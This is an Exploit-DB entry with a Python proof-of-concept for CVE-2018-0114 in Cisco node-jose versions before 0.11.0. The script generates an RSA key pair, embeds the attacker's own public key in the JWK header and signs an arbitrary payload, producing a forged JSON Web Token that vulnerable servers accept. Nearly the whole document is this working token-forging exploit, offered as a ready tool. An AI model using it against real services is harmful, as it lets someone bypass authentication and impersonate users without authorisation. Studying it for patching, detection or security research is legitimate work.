Cisco node-jos < 0.11.0 - Re-sign Tokens

EDB-ID: 44324
Author: zioBlack
Published: 2018-03-20
CVE: CVE-2018-0114
Type: Webapps
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 import urllib 
import rsa
import sys

#zi0Black

'''
POC of CVE-2018-0114 Cisco node-jose <0.11.0

Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram)

Mail: [email protected]
Site: https://zioblack.xyz

A special thanks to Louis Nyffenegger, the founder of PentesterLab, for all the help he provided to allow me to write this script.

Mail: [email protected]
Site: https://pentesterlab.com

'''

def generate_key (key_size):
#create rsa priv & public key
print ("[+]Creating-RSA-pair-key")
(public_key,private_key)=rsa.newkeys(key_size,poolsize=8)
print ("\t[+]Pair-key-created")
return private_key, public_key

def to_bytes(n, length, endianess='big'):
h = '%x' % n
s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
return s if endianess == 'big' else s[::-1]

def generate_header_payload(payload,pubkey):
#create header and payload
print ("[+]Assembling-the-header-and-the-payload")
xn = pubkey.n
xe = pubkey.e
n=base64.urlsafe_b64encode(to_bytes(xn,sys.getsizeof(xn),'big'))
e=base64.urlsafe_b64encode(to_bytes(xe,sys.getsizeof(xe),'big'))
headerAndPayload = base64.b64encode('{"alg":"RS256",'
'"jwk":{"kty":"RSA",'
'"kid":"[email protected]",'
'"use":"sig",'
'"n":"'+n+'",'
'"e":"'+e+'"}}')
headerAndPayload=headerAndPayload+"."+base64.b64encode(payload)
headerAndPayload = headerAndPayload.encode('utf-8').replace("=","")
print ("\t[+]Assembed")
return headerAndPayload

def generate_signature (firstpart,privkey):
#create signature
signature = rsa.sign(firstpart,privkey,'SHA-256')
signatureEnc = base64.b64encode(signature).encode('utf-8').replace("=", "")
print ("[+]Signature-created")
return signatureEnc

def create_token(headerAndPayload,sign):
print ("[+]Forging-of-the-token\n\n")
token = headerAndPayload+"."+sign
token = urllib.quote_plus(token)
return token


if(len(sys.argv)>0):
payload = str(sys.argv[1])
key_size = sys.argv[2]
else:
payload = 'somthings'

banner="""
_____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _
/ ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || |
| | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_
| | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _|
| |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | |
\_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black
"""

if __name__ == '__main__':
print (banner)
(privatekey,publickey) = generate_key(key_size)
firstPart = generate_header_payload(payload,publickey)
signature = generate_signature(firstPart,privatekey)
token = create_token(firstPart,signature)
print(token)

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